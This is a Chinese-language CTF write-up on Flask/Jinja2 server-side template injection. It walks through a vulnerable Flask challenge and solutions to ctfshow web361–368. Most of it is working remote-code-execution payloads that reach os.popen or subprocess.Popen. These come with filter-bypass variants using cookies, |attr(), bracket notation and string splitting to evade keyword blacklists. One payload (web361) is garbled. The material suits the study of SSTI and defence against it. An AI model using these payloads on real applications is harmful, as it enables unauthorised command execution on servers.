如何确定模板:

一个完成的ssti利用如下

拿基类->找子类->构造命令->拿flag

{{''.__class__.__base__.__subclasses__()}} # 拿基类

{{equest.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__}} #找子类 (常见是命令执行或者文件读取类的)

{{equest.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} # 构造命令

{%%} 执行

有时候双大括号会被过滤,可以使用这个进行执行

输出可用:

{%print("".__class__)%}

request 绕过

最喜欢的绕过方式

request可以访问基于http请求的传递的所有信息,这里的request是flask的函数

request.args.key  #获取get传入的key的值

request.form.key  #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

reguest.values.key  #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get

request.cookies.key  #获取cookies传入参数

request.headers.key  #获取请求头请求参数

request.data  #获取post传入参数(Content-Type:a/b)

request.json  #获取post传入json参数 (Content-Type: application/json)

例如[HNCTF 2022 WEEK3]ssssti 这道题,就可以使用request绕过的方式

from flask import Flask,render_template,render_template_string,redirect,request,session,abort,send_from_directoryimport os
import re

app = Flask(__name__)


@app.route("/")
def app_index():

    name = request.args.get('name')
    blacklist = ['\'', '"', 'args', 'os', '_']
    if name:
        for no in blacklist:
            if no in name:
                return 'Hacker'

    template = '''{%% block body %%} 
            <div class="center-content error"> 
                <h1>WELCOME TO HNCTF</h1> 
                <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python" id="test" target="_blank">What is server-side template injection?</a>
                <h3>%s</h3> 
            </div> 
            {%% endblock %%} 
             ''' % (request.args.get('name'))

    return render_template_string(template)


if __name__=="__main__":
    app.run(host='0.0.0.0',port=5050)

payload:

{{()[request.cookies.class][request.cookies.bases][0][request.cookies.subclasses]()}}
class=__class__;bases=__bases__;subclasses=__subclasses__
{{ config[request.cookies.class][request.cookies.init][request.cookies.globals][request.cookies.so].popen(request.cookies.cmd).read()}}
class=__class__;init=__init__;globals=__globals__;so=os;cmd=ls /

|attr()绕过

attr()函数是jinja2模板引擎提供的一个过滤器,他的存在使得

().__class__ 等价与 ()|attr("__class__")

完整利用

# 获取class
{{"" | attr("__class__")}}
# base
{{ ""|attr("__class__")|attr("__base__") }}
# sublasses
{{ ""|attr("__class__")|attr("__base__")|attr("__subclasses__")() }}

# 直接利用config rce
{{ config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")() }}

特殊的**__getitem__**

__getitem__是一个字典,而attr只能访问属性,不能直接用于字典的键访问

而通过|attr("__getitem__")("os")则可以调用字典的__getitem__方法从而实现访问

中括号替代点

如果点过滤了可以使用中括号替代,例如

{{().__class__}} 等价于{{()['__class__']}}

那么利用过程就可以如此构建

{{()['__class__']['__base__']['__subclasses__']()}} # 拿到基类

{{""['__class__']['__mro__'][-1]['__subclasses__']()[206]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('id').read()")}} # 构造命令

引号拼接绕过

当存在某些关键字过滤可以配合中括号使用''来绕过,例如

{{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()}} 等价于 {{()['__class__']['__base__']['__subclasses__']()}} 等价于 {{().__class__.__base__.__subclasses__()}}
{{""['__cla''ss__']['__m''ro__'][-1]['__su''bclasses__']()[206]['__i''nit__']['__global''s__']['__builtin''s__']['eva''l']("__import__('os').popen('id').read()")}}

不加加号也可以

ctfshow ssti 题目

  1. web361

    没什么好说的,传参name,使用

    { { c o n f i g . _ _ c l a s s _ _ . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ ' o s ' ] . p o p e n ( ' l s . r e a d ( ) } }

    即可

  2. web362

    过滤了2,3两个数字,应该是不允许使用某个类,使用

    {{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}
    

    或者使用下标407subprocess.Popen

    {{ ''.__class__.__base__.__subclasses__()[407]('id', shell=True, stdout=-1).communicate()[0] }}
    

    PASS

  3. web363

    先fuzz

    image.png

    过滤了引号

    根据之前学习的,可以使用request绕过,读取cookies

    {{ config[request.cookies.class][request.cookies.init][request.cookies.globals][request.cookies.so].popen(request.cookies.cmd).read()}}
    
    class=__class__;init=__init__;globals=__globals__;so=os;cmd=ls /
    
  4. web364

    多了一个args的过滤,没关系363的payload还能用

  5. web365

    image.png

    方括号和引号绕过可以使用

    {{config.__class__.__init__.__globals__.__getitem__(request.cookies.so).popen(request.cookies.cmd).read()}}
    
    so=os;cmd=ls /
    

    PASS

  6. web366

    这次ban掉了下划线

    image.png

    可以使用之前学过的|attr方法绕过下划线的使用,再通过__getitem__方法绕过中括号的使用,之后再使用request绕过

    原始payload

    {{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}
    

    绕过

    {{ config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")() }}
    
    {{ config|attr(request.cookies.class)|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookies.getitem)(request.cookies.so)|attr(request.cookies.popen)(request.cookies.cmd)|attr(request.cookies.read)() }}
    
    class=__class__;init=__init__;globals=__globals__;getitem=__getitem__;so=os;popen=popen;cmd=ls /;read=read
    

    PASS

  7. web367

    加入了os的过滤,仔细看366的payload也没用到os所以直接pass

  8. web368

    看起来过滤没有变,其实{{request}}过滤了,但是{%request%}没有过滤,使用{%%}绕过

    {%print(config|attr(request.cookies.class)|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookies.getitem)(request.cookies.so)|attr(request.cookies.popen)(request.cookies.cmd)|attr(request.cookies.read)())%}
    
    class=__class__;init=__init__;globals=__globals__;getitem=__getitem__;so=os;popen=popen;cmd=ls /;read=read
    

    喵了